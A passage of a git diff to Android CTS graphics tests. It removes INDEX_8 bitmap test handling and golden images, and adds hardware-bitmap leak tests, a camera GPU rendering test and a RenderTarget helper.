result = vkCreateInstance(&instance_info, nullptr, &instance);
@@ -74,8 +103,9 @@
vkjson.assign("[\n");
for (size_t i = 0, n = gpus.size(); i < n; i++) {
- auto props = VkJsonGetAllProperties(gpus[i]);
- vkjson.append(VkJsonAllPropertiesToJson(props));
+ auto props = VkJsonGetDevice(instance, gpus[i],
+ instance_info.enabledExtensionCount, instance_info.ppEnabledExtensionNames);
+ vkjson.append(VkJsonDeviceToJson(props));
if (i < n - 1)
vkjson.append(",\n");
}
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png
deleted file mode 100644
index de48ed9..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png
deleted file mode 100644
index 0682813..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png
deleted file mode 100644
index 5588a5a..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png
deleted file mode 100644
index 2e77270..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
deleted file mode 100644
index b5c328b..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
deleted file mode 100644
index a755249..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png
deleted file mode 100644
index 2e77270..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
deleted file mode 100644
index d6f5cce..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
deleted file mode 100644
index 3c5f37e..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index 5454e2f..4617f62 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index ea6441a..4d6b84d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index 54fbca7..c6540e8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index 40432cd..491e73e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index 06eccb8..e335a92 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index 64a6476..57f2ae3 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_density.xml b/tests/tests/graphics/res/drawable/bitmap_density.xml
deleted file mode 100644
index 5fb3611..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_density.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
- android:src="@drawable/bitmap_density_internal" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_density_internal.png
deleted file mode 100644
index a4add51..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml b/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml
deleted file mode 100644
index dfecfbb..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
- android:src="@drawable/bitmap_shader_density_internal"
- android:tileModeX="repeat"
- android:tileModeY="clamp"
- android:autoMirrored="true" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png
deleted file mode 100644
index b6d4d89..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_density.xml b/tests/tests/graphics/res/drawable/bitmap_shader_density.xml
deleted file mode 100644
index 435b06a..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_density.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
- android:src="@drawable/bitmap_shader_density_internal"
- android:tileModeX="repeat"
- android:tileModeY="clamp" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png
deleted file mode 100644
index b6d4d89..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 9dafaca..4067585 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -615,19 +615,13 @@
verifyScaled(BitmapFactory.decodeStream(obtainInputStream(), null, scaledOpt));
}
- // Test that writing an index8 bitmap to a Parcel succeeds.
@Test
public void testParcel() {
- // Turn off scaling, which would convert to an 8888 bitmap, which does not expose
- // the bug.
BitmapFactory.Options opts = new BitmapFactory.Options();
opts.inScaled = false;
Bitmap b = BitmapFactory.decodeResource(mRes, R.drawable.gif_test, opts);
assertNotNull(b);
- // index8 has no Java equivalent, so the Config will be null.
- assertNull(b.getConfig());
-
Parcel p = Parcel.obtain();
b.writeToParcel(p, 0);
@@ -635,9 +629,6 @@
Bitmap b2 = Bitmap.CREATOR.createFromParcel(p);
compareBitmaps(b, b2, 0, true, true);
- // When this failed previously, the bitmap was missing a colortable, resulting in a crash
- // attempting to compress by dereferencing a null pointer. Compress to verify that we do
- // not crash, but succeed instead.
ByteArrayOutputStream baos = new ByteArrayOutputStream();
assertTrue(b2.compress(Bitmap.CompressFormat.JPEG, 50, baos));
}
@@ -665,17 +656,16 @@
// most natural match for the encoded data.
// Options.inPreferredConfig = null
// We will decode to whichever Config is the most natural match with the
- // encoded data. This could be 8-bit indices into a color table (call this
- // INDEX_8), ALPHA_8 (gray), or ARGB_8888.
+ // encoded data. This could be ALPHA_8 (gray) or ARGB_8888.
//
// This test ensures that images are decoded to the intended Config and that the
// decodes match regardless of the Config.
- decodeConfigs(R.drawable.alpha, 31, 31, true, false, false);
- decodeConfigs(R.drawable.baseline_jpeg, 1280, 960, false, false, false);
- decodeConfigs(R.drawable.bmp_test, 320, 240, false, false, false);
- decodeConfigs(R.drawable.scaled2, 6, 8, false, false, true);
- decodeConfigs(R.drawable.grayscale_jpg, 128, 128, false, true, false);
- decodeConfigs(R.drawable.grayscale_png, 128, 128, false, true, false);
+ decodeConfigs(R.drawable.alpha, 31, 31, true, false);
+ decodeConfigs(R.drawable.baseline_jpeg, 1280, 960, false, false);
+ decodeConfigs(R.drawable.bmp_test, 320, 240, false, false);
+ decodeConfigs(R.drawable.scaled2, 6, 8, false, false);
+ decodeConfigs(R.drawable.grayscale_jpg, 128, 128, false, true);
+ decodeConfigs(R.drawable.grayscale_png, 128, 128, false, true);
}
@Test(expected=IllegalArgumentException.class)
@@ -812,8 +802,7 @@
}
}
- private void decodeConfigs(int id, int width, int height, boolean hasAlpha, boolean isGray,
- boolean hasColorTable) {
+ private void decodeConfigs(int id, int width, int height, boolean hasAlpha, boolean isGray) {
Options opts = new BitmapFactory.Options();
opts.inScaled = false;
assertEquals(Config.ARGB_8888, opts.inPreferredConfig);
@@ -859,21 +848,15 @@
compareBitmaps(reference, grayToARGB(alpha8), 0, true, true);
}
- // Setting inPreferredConfig to null selects the most natural color type for
- // the encoded data. If the image has a color table, this should be INDEX_8.
- // If we decode to INDEX_8, the output bitmap will report that the Config is
- // null.
+ // Setting inPreferredConfig to nullptr will cause the default Config to be
+ // selected, which in this case is ARGB_8888.
opts.inPreferredConfig = null;
- Bitmap index8 = BitmapFactory.decodeResource(mRes, id, opts);
- assertNotNull(index8);
- assertEquals(width, index8.getWidth());
- assertEquals(height, index8.getHeight());
- if (hasColorTable) {
- assertEquals(null, index8.getConfig());
- // Convert the INDEX_8 bitmap to ARGB_8888 and test that it is identical to
- // the reference.
- compareBitmaps(reference, index8.copy(Config.ARGB_8888, false), 0, true, true);
- }
+ Bitmap defaultBitmap = BitmapFactory.decodeResource(mRes, id, opts);
+ assertNotNull(defaultBitmap);
+ assertEquals(width, defaultBitmap.getWidth());
+ assertEquals(height, defaultBitmap.getHeight());
+ assertEquals(Config.ARGB_8888, defaultBitmap.getConfig());
+ compareBitmaps(reference, defaultBitmap, 0, true, true);
}
private static Bitmap grayToARGB(Bitmap gray) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
index 42b493d..ad759bb 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
@@ -92,7 +92,6 @@
b = BitmapFactory.decodeResource(resources, R.drawable.bitmap_indexed, options);
assertNull(b);
assertEquals("image/gif", options.outMimeType);
- assertEquals(null, options.outConfig);
// Scaled, indexed bitmap
options.inScaled = true;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index aea201c..b863861 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -580,6 +580,17 @@
Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
}
+ @Test(expected = IllegalArgumentException.class)
+ public void testHardwareBitmapIn() throws IOException {
+ Options opts = new BitmapFactory.Options();
+ Bitmap bitmap = Bitmap.createBitmap(TILE_SIZE, TILE_SIZE, Config.ARGB_8888)
+ .copy(Config.HARDWARE, false);
+ opts.inBitmap = bitmap;
+ InputStream is = obtainInputStream(RES_IDS[0]);
+ BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+ decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
+ }
+
private void compareRegionByRegion(BitmapRegionDecoder decoder,
Options opts, int mseMargin, Bitmap wholeImage) {
int width = decoder.getWidth();
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 417dd69..29aefbe 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -32,12 +32,15 @@
import android.graphics.ColorSpace;
import android.graphics.Matrix;
import android.graphics.Paint;
+import android.os.Debug;
import android.os.Parcel;
import android.os.StrictMode;
import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
+import android.view.Surface;
import com.android.compatibility.common.util.ColorUtils;
import com.android.compatibility.common.util.WidgetTestUtils;
@@ -51,6 +54,8 @@
import java.nio.CharBuffer;
import java.nio.IntBuffer;
import java.nio.ShortBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
@SmallTest
@RunWith(AndroidJUnit4.class)
@@ -1447,6 +1452,114 @@
nValidateNdkAccessAfterRecycle(bitmap);
}
+ private void runGcAndFinalizersSync() {
+ final CountDownLatch fence = new CountDownLatch(1);
+ new Object() {
+ @Override
+ protected void finalize() throws Throwable {
+ try {
+ fence.countDown();
+ } finally {
+ super.finalize();
+ }
+ }
+ };
+ try {
+ do {
+ Runtime.getRuntime().gc();
+ Runtime.getRuntime().runFinalization();
+ } while (!fence.await(100, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException ex) {
+ throw new RuntimeException(ex);
+ }
+ Runtime.getRuntime().gc();
+ }
+
+ private void assertNotLeaking(int iteration, Debug.MemoryInfo start, Debug.MemoryInfo end) {
+ Debug.getMemoryInfo(end);
+ if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+ runGcAndFinalizersSync();
+ Debug.getMemoryInfo(end);
+ if (end.getTotalPss() - start.getTotalPss() > 2000 /* kB */) {
+ // Guarded by if so we don't continually generate garbage for the
+ // assertion string.
+ assertEquals("Memory leaked, iteration=" + iteration,
+ start.getTotalPss(), end.getTotalPss(),
+ 2000 /* kb */);
+ }
+ }
+ }
+
+ @Test
+ @LargeTest
+ public void testHardwareBitmapNotLeaking() {
+ Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
+ Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
+ BitmapFactory.Options opts = new BitmapFactory.Options();
+ opts.inPreferredConfig = Config.HARDWARE;
+ opts.inScaled = false;
+
+ for (int i = 0; i < 2000; i++) {
+ if (i == 2) {
+ // Not really the "start" but by having done a couple
+ // we've fully initialized any state that may be required,
+ // so memory usage should be stable now
+ runGcAndFinalizersSync();
+ Debug.getMemoryInfo(meminfoStart);
+ }
+ if (i % 100 == 5) {
+ assertNotLeaking(i, meminfoStart, meminfoEnd);
+ }
+ Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, opts);
+ assertNotNull(bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(128, bitmap.getWidth());
+ assertEquals(128, bitmap.getHeight());
+ assertEquals(Config.HARDWARE, bitmap.getConfig());
+ bitmap.recycle();
+ }
+
+ assertNotLeaking(2000, meminfoStart, meminfoEnd);
+ }
+
+ @Test
+ @LargeTest
+ public void testDrawingHardwareBitmapNotLeaking() {
+ Debug.MemoryInfo meminfoStart = new Debug.MemoryInfo();
+ Debug.MemoryInfo meminfoEnd = new Debug.MemoryInfo();
+ BitmapFactory.Options opts = new BitmapFactory.Options();
+ opts.inPreferredConfig = Config.HARDWARE;
+ opts.inScaled = false;
+ RenderTarget renderTarget = RenderTarget.create();
+ renderTarget.setDefaultSize(128, 128);
+ final Surface surface = renderTarget.getSurface();
+
+ for (int i = 0; i < 2000; i++) {
+ if (i == 2) {
+ // Not really the "start" but by having done a couple
+ // we've fully initialized any state that may be required,
+ // so memory usage should be stable now
+ runGcAndFinalizersSync();
+ Debug.getMemoryInfo(meminfoStart);
+ }
+ if (i % 100 == 5) {
+ assertNotLeaking(i, meminfoStart, meminfoEnd);
+ }
+ Bitmap bitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot, opts);
+ assertNotNull(bitmap);
+ // Make sure nothing messed with the bitmap
+ assertEquals(128, bitmap.getWidth());
+ assertEquals(128, bitmap.getHeight());
+ assertEquals(Config.HARDWARE, bitmap.getConfig());
+ Canvas canvas = surface.lockHardwareCanvas();
+ canvas.drawBitmap(bitmap, 0, 0, null);
+ surface.unlockCanvasAndPost(canvas);
+ bitmap.recycle();
+ }
+
+ assertNotLeaking(2000, meminfoStart, meminfoEnd);
+ }
+
private void strictModeTest(Runnable runnable) {
StrictMode.ThreadPolicy originalPolicy = StrictMode.getThreadPolicy();
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java
new file mode 100644
index 0000000..7df9892
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import android.app.Activity;
+import android.opengl.GLSurfaceView;
+import android.os.Bundle;
+import android.view.Window;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * An activity for testing camera output rendering.
+ */
+public class CameraGpuCtsActivity extends Activity {
+
+ static {
+ System.loadLibrary("ctsgraphics_jni");
+ }
+
+ private static final String TAG = "CameraGpuCtsActivity";
+
+ protected GLSurfaceView mView;
+ protected long mNativeRenderer;
+ private CountDownLatch mFinishedRendering;
+
+ private class Renderer implements GLSurfaceView.Renderer {
+ public void onDrawFrame(GL10 gl) {
+ if (nDrawFrame(mNativeRenderer) == 0) {
+ mFinishedRendering.countDown();
+ }
+ }
+
+ public void onSurfaceChanged(GL10 gl, int width, int height) {
+ // Do nothing.
+ }
+
+ public void onSurfaceCreated(GL10 gl, EGLConfig config) {
+ mNativeRenderer = nCreateRenderer();
+ }
+ }
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ mView = new GLSurfaceView(this);
+ mView.setEGLContextClientVersion(2);
+ mView.setRenderer(new Renderer());
+ mView.setRenderMode(GLSurfaceView.RENDERMODE_CONTINUOUSLY);
+
+ // Wait for 100 frames from camera being rendered.
+ mFinishedRendering = new CountDownLatch(100);
+
+ requestWindowFeature(Window.FEATURE_NO_TITLE);
+ setContentView(mView);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ mView.onResume();
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ mView.onPause();
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ nDestroyRenderer(mNativeRenderer);
+ }
+
+ public void waitToFinishRendering() throws InterruptedException {
+ // Skip the test if there is no camera on board.
+ if (!nIsCameraReady(mNativeRenderer)) {
+ return;
+ }
+
+ // Wait long enough so that all frames are captured.
+ if (!mFinishedRendering.await(30, TimeUnit.SECONDS)) {
+ throw new IllegalStateException("Coudn't finish drawing frames!");
+ }
+ }
+
+ private static native long nCreateRenderer();
+ private static native boolean nIsCameraReady(long renderer);
+ private static native void nDestroyRenderer(long renderer);
+ private static native int nDrawFrame(long renderer);
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
new file mode 100644
index 0000000..02bfd51
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.LargeTest;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** This test case must run with hardware. It can't be tested in emulator. */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class CameraGpuTest {
+
+ private static final String TAG = "CameraGpuTest";
+
+ @Rule
+ public ActivityTestRule<CameraGpuCtsActivity> mActivityRule =
+ new ActivityTestRule<>(CameraGpuCtsActivity.class, false, false);
+
+ @Test
+ public void testCameraImageCaptureAndRendering() throws Exception {
+ CameraGpuCtsActivity activity = mActivityRule.launchActivity(null);
+ activity.waitToFinishRendering();
+ activity.finish();
+ }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index a00c45e..1e65caf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -18,20 +18,15 @@
import static android.support.test.InstrumentationRegistry.getInstrumentation;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
import android.content.res.Resources;
import android.graphics.Color;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
-import android.util.TypedValue;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.Arrays;
-import java.util.List;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class ColorTest {
@@ -69,51 +64,14 @@
{ 0xff000000, android.R.color.widget_edittext_dark },
};
- List<Integer> expectedColorStateLists = Arrays.asList(
- android.R.color.primary_text_dark,
- android.R.color.primary_text_dark_nodisable,
- android.R.color.primary_text_light,
- android.R.color.primary_text_light_nodisable,
- android.R.color.secondary_text_dark,
- android.R.color.secondary_text_dark_nodisable,
- android.R.color.secondary_text_light,
- android.R.color.secondary_text_light_nodisable,
- android.R.color.tab_indicator_text,
- android.R.color.tertiary_text_dark,
- android.R.color.tertiary_text_light,
- android.R.color.widget_edittext_dark
- );
-
Resources resources = getInstrumentation().getTargetContext().getResources();
for (int[] pair : colors) {
- final int resourceId = pair[1];
- final int expectedColor = pair[0];
+ int value = resources.getColor(pair[1], null);
+ assertEquals("Color = " + Integer.toHexString(value) + ", "
+ + Integer.toHexString(pair[0]) + " expected",
+ pair[0],
+ value);
- // validate color from getColor
- int observedColor = resources.getColor(resourceId, null);
- assertEquals("Color = " + Integer.toHexString(observedColor) + ", "
- + Integer.toHexString(expectedColor) + " expected",
- expectedColor,
- observedColor);
-
- // validate color from getValue
- TypedValue value = new TypedValue();
- resources.getValue(resourceId, value, true);
-
- // colors shouldn't depend on config changes
- assertEquals(0, value.changingConfigurations);
-
- if (expectedColorStateLists.contains(resourceId)) {
- // ColorStateLists are strings
- assertEquals("CSLs should be strings", TypedValue.TYPE_STRING, value.type);
- } else {
- // colors should be raw ints
- assertTrue("Type should be int",
- value.type >= TypedValue.TYPE_FIRST_INT && value.type <= TypedValue.TYPE_LAST_INT);
-
- // Validate color from getValue
- assertEquals("Color should be expected value", expectedColor, value.data);
- }
}
assertEquals("Test no longer in sync with colors in android.R.color",
colors.length,
diff --git a/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java b/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java
new file mode 100644
index 0000000..185dbef
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/RenderTarget.java
@@ -0,0 +1,214 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import static android.opengl.EGL14.EGL_ALPHA_SIZE;
+import static android.opengl.EGL14.EGL_BLUE_SIZE;
+import static android.opengl.EGL14.EGL_CONFIG_CAVEAT;
+import static android.opengl.EGL14.EGL_CONTEXT_CLIENT_VERSION;
+import static android.opengl.EGL14.EGL_DEFAULT_DISPLAY;
+import static android.opengl.EGL14.EGL_DEPTH_SIZE;
+import static android.opengl.EGL14.EGL_GREEN_SIZE;
+import static android.opengl.EGL14.EGL_HEIGHT;
+import static android.opengl.EGL14.EGL_NONE;
+import static android.opengl.EGL14.EGL_NO_CONTEXT;
+import static android.opengl.EGL14.EGL_OPENGL_ES2_BIT;
+import static android.opengl.EGL14.EGL_RED_SIZE;
+import static android.opengl.EGL14.EGL_RENDERABLE_TYPE;
+import static android.opengl.EGL14.EGL_SURFACE_TYPE;
+import static android.opengl.EGL14.EGL_WIDTH;
+import static android.opengl.EGL14.EGL_WINDOW_BIT;
+import static android.opengl.EGL14.eglChooseConfig;
+import static android.opengl.EGL14.eglCreateContext;
+import static android.opengl.EGL14.eglCreatePbufferSurface;
+import static android.opengl.EGL14.eglGetDisplay;
+import static android.opengl.EGL14.eglInitialize;
+import static android.opengl.EGL14.eglMakeCurrent;
+import static android.opengl.GLES20.glDeleteTextures;
+import static android.opengl.GLES20.glGenTextures;
+
+import android.graphics.SurfaceTexture;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Message;
+import android.view.Surface;
+
+public final class RenderTarget {
+ private static final int SETUP_THREAD = 1;
+ private static final int CREATE_SINK = 2;
